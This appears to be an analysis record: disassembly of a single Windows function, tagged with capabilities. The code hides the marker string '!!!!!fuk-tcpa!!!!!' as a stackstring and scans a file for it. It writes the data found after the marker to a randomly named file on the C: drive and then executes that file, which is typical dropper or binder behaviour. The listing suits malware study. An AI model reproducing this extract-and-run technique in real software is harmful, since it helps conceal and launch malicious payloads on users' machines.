Function at 0x402780
Capabilities:
Contain obfuscated stackstrings
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
xor edi, edi
push ebx
lea edx, [ebp - 0x12c]
sub esp, 0x138
push edx
call sym._time
mov eax, dword [ebp - 0x12c]
pop ebx
push eax
call sym._srand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
call sym._rand
lea ecx, [ebp - 0x58]
add esp, 0xc
push 0xa
push ecx
push eax
call sym._itoa
pop eax
pop edx
mov eax, dword [ebp + 8]
push 0x402770
push eax
call sym._fopen
add esp, 0x10
mov esi, eax
test eax, eax
je 0x402c27
sub esp, 0xc
push 1
call sym._malloc
mov ebx, eax
mov dword [esp], esi
call sym._feof
add esp, 0x10
test eax, eax
jne 0x402900
push esi
inc edi
push 1
push 1
push ebx
call sym._fread
jmp 0x4028e3
sub esp, 0xc
push esi
call sym._rewind
mov dword [esp], edi
call sym._malloc
push esi
push edi
push 1
mov dword [ebp - 0x130], eax
push eax
call sym._fread
add esp, 0x14
mov byte [ebp - 0x38], 0x21
push esi
mov byte [ebp - 0x37], 0x21
mov byte [ebp - 0x36], 0x21
mov byte [ebp - 0x35], 0x21
mov byte [ebp - 0x34], 0x21
mov byte [ebp - 0x33], 0x66
mov byte [ebp - 0x32], 0x75
mov byte [ebp - 0x31], 0x6b
mov byte [ebp - 0x30], 0x2d
mov byte [ebp - 0x2f], 0x74
mov byte [ebp - 0x2e], 0x63
mov byte [ebp - 0x2d], 0x70
mov byte [ebp - 0x2c], 0x61
mov byte [ebp - 0x2b], 0x21
mov byte [ebp - 0x2a], 0x21
mov byte [ebp - 0x29], 0x21
mov byte [ebp - 0x28], 0x21
mov byte [ebp - 0x27], 0x21
mov byte [ebp - 0x26], 0
call sym._rewind
add esp, 0x10
lea esi, [esi]
sub esp, 0xc
push esi
call sym._feof
add esp, 0x10
test eax, eax
jne 0x402c05
push esi
push 1
push 1
push ebx
call sym._fread
add esp, 0x10
mov al, byte [ebx]
cmp al, 0x21
je 0x402b90
cmp al, 0x66
je 0x402b75
cmp al, 0x75
je 0x402b60
cmp al, 0x6b
je 0x402b45
cmp al, 0x2d
je 0x402b30
cmp al, 0x74
je 0x402b15
cmp al, 0x63
je 0x402b00
cmp al, 0x70
je 0x402ae8
cmp al, 0x61
je 0x402ad3
cmp al, 0x21
jne 0x402980
push esi
push 1
push 1
push ebx
call sym._fread
add esp, 0x10
cmp byte [ebx], 0x21
jne 0x402980
push esi
push 1
push 1
push ebx
call sym._fread
add esp, 0x10
cmp byte [ebx], 0x21
jne 0x402980
push esi
push 1
push 1
push ebx
call sym._fread
push esi
push 1
push 1
push ebx
call sym._fread
lea eax, [ebp - 0x128]
add esp, 0x18
lea edx, [ebp - 0x58]
mov dword [ebp - 0x128], 0x5f2f3a63
push edx
push eax
mov word [ebp - 0x124], 0x5f76
mov byte [ebp - 0x122], 0
call sym._strcat
pop edi
pop eax
lea edi, [ebp - 0x128]
push 0x402773
push edi
call sym._strcat
pop edx
pop ecx
lea ecx, [ebp - 0x128]
push 0x402778
push ecx
call sym._fopen
add esp, 0x10
mov edi, eax
sub esp, 0xc
push esi
call sym._feof
add esp, 0x10
test eax, eax
jne 0x402ab7
push esi
push 1
push 1
push ebx
call sym._fread
push edi
push 1
push 1
push ebx
call sym._fwrite
add esp, 0x20
jmp 0x402a8c
sub esp, 0xc
push edi
call sym._fclose
lea ecx, [ebp - 0x128]
mov dword [esp], ecx
call sym._executer
jmp 0x402976
push esi
push 1
push 1
push ebx
call sym._fread
mov al, byte [ebx]
add esp, 0x10
jmp 0x4029ec
push esi
push 1
push 1
push ebx
call sym._fread
mov al, byte [ebx]
add esp, 0x10
jmp 0x4029e4
push esi
push 1
push 1
push ebx
call sym._fread
mov al, byte [ebx]
add esp, 0x10
jmp 0x4029dc
push esi
push 1
push 1
push ebx
call sym._fread
mov al, byte [ebx]
add esp, 0x10
jmp 0x4029d4
push esi
push 1
push 1
push ebx
call sym._fread
mov al, byte [ebx]
add esp, 0x10
jmp 0x4029cc
push esi
push 1
push 1
push ebx
call sym._fread
mov al, byte [ebx]
add esp, 0x10
jmp 0x4029c4
push esi
push 1
push 1
push ebx
call sym._fread
mov al, byte [ebx]
add esp, 0x10
jmp 0x4029bc
push esi
push 1
push 1
push ebx
call sym._fread
mov al, byte [ebx]
add esp, 0x10
jmp 0x4029b4
push esi
push 1
push 1
push ebx
call sym._fread
mov al, byte [ebx]
add esp, 0x10
cmp al, 0x21
jne 0x4029ac
push esi
push 1
push 1
push ebx
call sym._fread
mov al, byte [ebx]
add esp, 0x10
cmp al, 0x21
jne 0x4029ac
push esi
push 1
push 1
push ebx
call sym._fread
mov al, byte [ebx]
add esp, 0x10
cmp al, 0x21
jne 0x4029ac
push esi
push 1
push 1
push ebx
call sym._fread
mov al, byte [ebx]
add esp, 0x10
cmp al, 0x21
jne 0x4029ac
push esi
push 1
push 1
push ebx
call sym._fread
mov al, byte [ebx]
add esp, 0x10
jmp 0x4029ac
sub esp, 0xc
mov eax, dword [ebp - 0x130]
push eax
call sym._free
mov dword [esp], ebx
call sym._free
mov dword [esp], esi
call sym._fclose
add esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret